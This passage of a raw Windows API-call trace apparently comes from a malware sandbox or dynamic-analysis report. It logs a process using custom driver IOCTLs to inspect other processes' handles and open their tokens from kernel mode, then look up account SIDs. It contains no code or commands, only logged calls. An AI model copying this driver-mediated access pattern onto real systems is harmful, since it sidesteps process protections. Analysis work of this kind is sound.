lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.868] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.868] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0113.868] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.868] PsAcquireProcessExitSynchronization () returned 0x0 [0113.868] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880055905d0) [0113.868] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001ee8420, HandleInformation=0x0) returned 0x0 [0113.869] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.869] PsReleaseProcessExitSynchronization () returned 0x2 [0113.869] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0113.869] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.869] ObfDereferenceObject (Object=0xfffffa8001ee8420) returned 0x1 [0113.869] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.869] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.869] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.869] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.869] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.869] PsAcquireProcessExitSynchronization () returned 0x0 [0113.869] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880055905d0) [0113.869] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.869] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.869] PsReleaseProcessExitSynchronization () returned 0x2 [0113.869] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0113.869] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.869] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.869] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.869] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.869] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x408) returned 0xc0 [0113.869] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.869] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001f9e530, HandleInformation=0x0) returned 0x0 [0113.869] ObOpenObjectByPointer (in: Object=0xfffffa8001f9e530, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.869] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x12 [0113.869] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.869] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.869] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.870] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.870] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.871] CloseHandle (hObject=0xc8) returned 1 [0113.871] CloseHandle (hObject=0xc0) returned 1 [0113.871] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.871] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.871] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.871] PsAcquireProcessExitSynchronization () returned 0x0 [0113.871] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880055905d0) [0113.871] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f9ed10, HandleInformation=0x0) returned 0x0 [0113.871] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.871] PsReleaseProcessExitSynchronization () returned 0x2 [0113.871] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0113.871] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.871] ObfDereferenceObject (Object=0xfffffa8001f9ed10) returned 0x1 [0113.871] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.871] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.871] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.871] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0113.871] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.872] PsAcquireProcessExitSynchronization () returned 0x0 [0113.872] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880055905d0) [0113.872] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fa0a20, HandleInformation=0x0) returned 0x0 [0113.872] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.872] PsReleaseProcessExitSynchronization () returned 0x2 [0113.872] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0113.872] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.872] ObfDereferenceObject (Object=0xfffffa8001fa0a20) returned 0x1 [0113.872] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.872] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.872] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.872] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.872] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.872] PsAcquireProcessExitSynchronization () returned 0x0 [0113.872] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880055905d0) [0113.872] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.872] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.872] PsReleaseProcessExitSynchronization () returned 0x2 [0113.872] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0113.872] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.872] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.872] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.872] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.872] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x664) returned 0xc0 [0113.872] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.872] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001fb3b30, HandleInformation=0x0) returned 0x0 [0113.872] ObOpenObjectByPointer (in: Object=0xfffffa8001fb3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.872] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x12 [0113.872] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.872] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.873] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.873] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.873] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.874] CloseHandle (hObject=0xc8) returned 1 [0113.874] CloseHandle (hObject=0xc0) returned 1 [0113.874] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.874] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.874] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.874] PsAcquireProcessExitSynchronization () returned 0x0 [0113.874] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880055905d0) [0113.874] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fae480, HandleInformation=0x0) returned 0x0 [0113.874] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.874] PsReleaseProcessExitSynchronization () returned 0x2 [0113.874] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0113.874] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.874] ObfDereferenceObject (Object=0xfffffa8001fae480) returned 0x1 [0113.874] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.874] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.874] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.875] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0113.875] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.875] PsAcquireProcessExitSynchronization () returned 0x0 [0113.875] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880055905d0) [0113.875] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a18550, HandleInformation=0x0) returned 0x0 [0113.875] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.875] PsReleaseProcessExitSynchronization () returned 0x2 [0113.875] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0113.875] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.875] ObfDereferenceObject (Object=0xfffffa8001a18550) returned 0x1 [0113.875] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.875] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.875] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.875] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.875] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.875] PsAcquireProcessExitSynchronization () returned 0x0 [0113.875] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880055905d0) [0113.875] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.875] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.875] PsReleaseProcessExitSynchronization () returned 0x2 [0113.875] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0113.875] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.875] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.875] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.875] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.875] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5e4) returned 0xc0 [0113.875] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.875] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001fc4b30, HandleInformation=0x0) returned 0x0 [0113.875] ObOpenObjectByPointer (in: Object=0xfffffa8001fc4b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.875] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x12 [0113.875] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.875] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.876] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.876] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.876] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.877] CloseHandle (hObject=0xc8) returned 1 [0113.877] CloseHandle (hObject=0xc0) returned 1 [0113.877] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.877] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.877] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.877] PsAcquireProcessExitSynchronization () returned 0x0 [0113.877] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880055905d0) [0113.877] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fc9350, HandleInformation=0x0) returned 0x0 [0113.877] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.877] PsReleaseProcessExitSynchronization () returned 0x2 [0113.877] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0113.877] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.877] ObfDereferenceObject (Object=0xfffffa8001fc9350) returned 0x1 [0113.877] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.877] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.877] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.878] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0113.878] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.878] PsAcquireProcessExitSynchronization () returned 0x0 [0113.878] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880055905d0) [0113.878] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fc49f0, HandleInformation=0x0) returned 0x0 [0113.878] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.878] PsReleaseProcessExitSynchronization () returned 0x2 [0113.878] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0113.878] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.878] ObfDereferenceObject (Object=0xfffffa8001fc49f0) returned 0x1 [0113.878] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.878] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.878] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.878] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.878] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.878] PsAcquireProcessExitSynchronization () returned 0x0 [0113.878] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880055905d0) [0113.878] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.878] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.878] PsReleaseProcessExitSynchronization () returned 0x2 [0113.878] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0113.878] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.878] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.878] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.878] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.878] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2dc) returned 0xc0 [0113.878] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.878] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: 